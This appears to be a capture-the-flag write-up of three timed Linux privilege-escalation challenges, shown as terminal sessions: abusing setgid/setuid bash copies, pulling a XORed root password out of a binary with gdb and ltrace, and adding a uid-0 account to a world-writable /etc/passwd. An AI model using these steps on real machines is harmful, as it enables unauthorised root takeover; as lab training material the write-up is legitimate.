RTV'23 PrivEsc Challenge 1-3
Within 5 minutes, can you get root given an initial foothold?
CHAL#1 (SUID)
Connecting to the instance then securing a stable shell:
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv1
$ bash
jebidiah@ip-172-31-47-51:~$ id
uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
First, looking at the contents of the /home
directory, there is an interesting file inside /home/anthony
:
jebidiah@ip-172-31-47-51:~$ tree /home
/home
├── admin
├── anthony
│  └── bash
└── jebidiah
4 directories, 1 file
Looking at the file, it is discovered to be an executable with the SUID bit set to the user, root
; however, it can only be run by members of the group, anthony
(which is also another user):
jebidiah@ip-172-31-47-51:~$ file /home/anthony/bash
/home/anthony/bash: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
jebidiah@ip-172-31-47-51:~$ ls -lh /home/anthony/bash
-rwsr-xr-- 1 root anthony 1.3M Sep 27 19:28 /home/anthony/bash
What should now be done is finding a way to change the current running context to anthony
:
jebidiah@ip-172-31-47-51:~$ cat /etc/passwd | grep anthony
anthony:x:1002:1002::/home/anthony:/bin/sh
jebidiah@ip-172-31-47-51:~$ find / -perm -4000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null
jebidiah@ip-172-31-47-51:~$ find / -perm -2000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null
-r-xr-sr-x 1 anthony anthony 1.3M Sep 27 18:05 /bash
jebidiah@ip-172-31-47-51:~$ file /bash
/bash: setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
There is another bash
executable in the /
directory but this time an SUID bit was set to the group, anthony
, which is what is currently needed:
jebidiah@ip-172-31-47-51:~$ /bash -p
bash-5.2$ id
uid=1001(jebidiah) gid=1001(jebidiah) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)
Now, the effective gid of the current running context is for anthony
meaning that the initially found bash
file should now be executable and finally gain root privileges:
bash-5.2$ /home/anthony/bash -p
bash-5.2# id
uid=1001(jebidiah) gid=1001(jebidiah) euid=0(root) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)
bash-5.2# cat /root/root.txt
RTV{SU1Ds_4_dA_w1n}
CHAL#2 (strcmp)
Connecting to the instance then securing a stable shell:
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv2
$ bash
jebidiah@ip-172-31-47-51:~$ id
uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
Looking at the home directory of the current user, there is an executable named, root
:
jebidiah@ip-172-31-42-199:~$ ls -lh
total 16K
-r-xr-xr-x 1 root root 16K Sep 27 20:59 root
jebidiah@ip-172-31-42-199:~$ file root
root: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=080345de05c564b447ff4e3e7feec9c9febd9cf0, for GNU/Linux 3.2.0, not stripped
Attempting to run it yields the following results:
jebidiah@ip-172-31-42-199:~$ ./root
Try running:
./root <password>
jebidiah@ip-172-31-42-199:~$ ./root rootpass
Whoops!! Try again... D:
It seems to be used for validating the root password and looking at its structure based on gdb
, there is a strcmp()
function probably used for verification and it seems that the plaintext password has been XORed which means that simply using strings
will not give any results:
jebidiah@ip-172-31-42-199:~$ gdb ./root
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 strcmp@plt
0x0000000000001050 malloc@plt
0x0000000000001060 __cxa_finalize@plt
0x0000000000001070 _start
0x00000000000010a0 deregister_tm_clones
0x00000000000010d0 register_tm_clones
0x0000000000001110 __do_global_dtors_aux
0x0000000000001150 frame_dummy
0x0000000000001159 main
0x0000000000001207 xor_pass
0x0000000000001270 _fini
Debugging the executable then stopping at strcmp()
, a password seems to have been recovered:
(gdb) run test
Whoops!! Try again... D:
(gdb) disassemble main
..omitted..
0x0000555555555191 <+56>: call 0x555555555207 <xor_pass>
..omitted..
0x00005555555551af <+86>: call 0x555555555040 <strcmp@plt>
..omitted..
(gdb) break * 0x00005555555551af
Breakpoint 1 at 0x5555555551af
(gdb) run test
Breakpoint 1, 0x00005555555551af in main ()
(gdb) x/xs $rdi
0x7fffffffe745: "test"
(gdb) x/xs $rsi
0x5555555592a0: "NotAPassword123"
Now, using the discovered password to change the current user to root
:
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123
root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt
RTV{d0wnf411_vi4_strcmp!!}
The same result could be obtained via ltrace
:
jebidiah@ip-172-31-42-199:~$ ltrace ./root test
malloc(16) = 0x5597742f52a0
strcmp("test", "NotAPassword123") = 38
puts("Whoops!! Try again... D:"Whoops!! Try again... D:
) = 25
+++ exited (status 0) +++
jebidiah@ip-172-31-42-199:~$ su root
Password: NotAPassword123
root@ip-172-31-42-199:/home/jebidiah# cat /root/root.txt
RTV{d0wnf411_vi4_strcmp!!}
Just something to share, this was the code used for the challenge:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PASS_LENGTH 15
char* xor_pass(unsigned char* enc_pass);
int main(int argc, char* argv[]) {
if(argc == 2) {
unsigned char enc_pass[PASS_LENGTH + 1] = {0x27,0x06,0x1d,0x28,0x39,0x08,0x1a,0x1a,0x1e,0x06,0x1b,0x0d,0x58,0x5b,0x5a};
char* pass = xor_pass(enc_pass);
if(!strcmp(argv[1], pass)) {
printf("Congratulations!! You got it... :D\n");
} else {
printf("Whoops!! Try again... D:\n");
}
} else if (argc == 1) {
printf("Try running:\n\n\t./root <password>\n\n");
} else {
printf("You can only give one guess!! :<\n");
}
return 0;
}
char* xor_pass(unsigned char* enc_pass) {
int i;
char* pass = malloc(sizeof(char) * (PASS_LENGTH + 1));
for(i=0; i<PASS_LENGTH; i++) {
pass[i] = enc_pass[i] ^ 0x69;
} pass[i] = '\0';
return pass;
}
CHAL#3 (passwd)
Connecting to the instance then securing a stable shell:
$ ssh -i jebidiah.rsa -l jebidiah RTV_Priv3
$ bash
jebidiah@ip-172-31-47-51:~$ id
uid=1001(jebidiah) gid=1001(jebidiah) groups=1001(jebidiah)
Looking at the current user's home directory, there is a passwd
binary but there is nothing much that can be done about it as there are no escalation methods that can be achieved but this might be a clue to what can be done next:
jebidiah@ip-172-31-41-120:~$ ls -lh
total 68K
-r-sr-sr-x 1 root shadow 67K Sep 28 05:35 passwd
jebidiah@ip-172-31-41-120:~$ find / -name passwd -exec md5sum {} \; 2>/dev/null | grep -E 'jeb|bin'
77d8b4bf54dba9d77333be091c519435 /usr/bin/passwd
77d8b4bf54dba9d77333be091c519435 /home/jebidiah/passwd
Maybe it's the passwd
file? Maybe it's the shadow
file? Looking at it:
jebidiah@ip-172-31-41-120:~$ ls -lh /etc | grep -E 'passwd|shadow'
-rw-r----- 1 root shadow 621 Sep 28 11:32 gshadow
-rw-r----- 1 root shadow 613 Sep 28 05:36 gshadow-
-rw-rw-rw- 1 root root 1.5K Sep 29 07:57 passwd
-rw-r----- 1 root shadow 902 Sep 28 05:36 shadow
The passwd
file is writable meaning a new user can be created that can be fully controlled; moreover, it could have root privileges. But first, it is important to note that the file follows a certain format per user:
<username>:<password>:<uid>:<gid>:<comment>:<home directory>:<startup shell>
# Setting <password> to 'x' means the password will be stored in the shadow file.
# Otherwise, it will check the field itself.
# And, leaving it blank will ensure an empty password.
# A UID and/or GID of '0' is reserved for root but can be impersonated.
Now, to create a new user with a blank password:
jebidiah@ip-172-31-41-120:~$ echo 'bakanaman::0:0:ggwp:/:/bin/bash' >> /etc/passwd
jebidiah@ip-172-31-41-120:~$ cat /etc/passwd | grep -E 'bin/.*sh$'
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Debian:/home/admin:/bin/bash
jebidiah:x:1002:1002::/home/jebidiah:/bin/sh
bakanaman::0:0:ggwp:/:/bin/bash
jebidiah@ip-172-31-41-120:~$ su bakanaman
root@ip-172-31-41-120:/home/jebidiah# id
uid=0(root) gid=0(root) groups=0(root)
root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt
RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}
If you want to add a password, you can do so by doing the following:
jebidiah@ip-172-31-41-120:~$ openssl passwd rootpass
$1$LFB.0uB4$ba5fVHKigN27R6fod01.g1
jebidiah@ip-172-31-41-120:~$ echo 'something:$1$LFB.0uB4$ba5fVHKigN27R6fod01.g1:0:0:ggwp:/:/bin/bash' >> /etc/passwd
jebidiah@ip-172-31-41-120:~$ su something
Password: rootpass
root@ip-172-31-41-120:/home/jebidiah# id
uid=0(root) gid=0(root) groups=0(root)
root@ip-172-31-41-120:/home/jebidiah# cat /root/root.txt
RTV{4lw4y5_ch3ck_f1l3_p3rm1ss10n5}
Last updated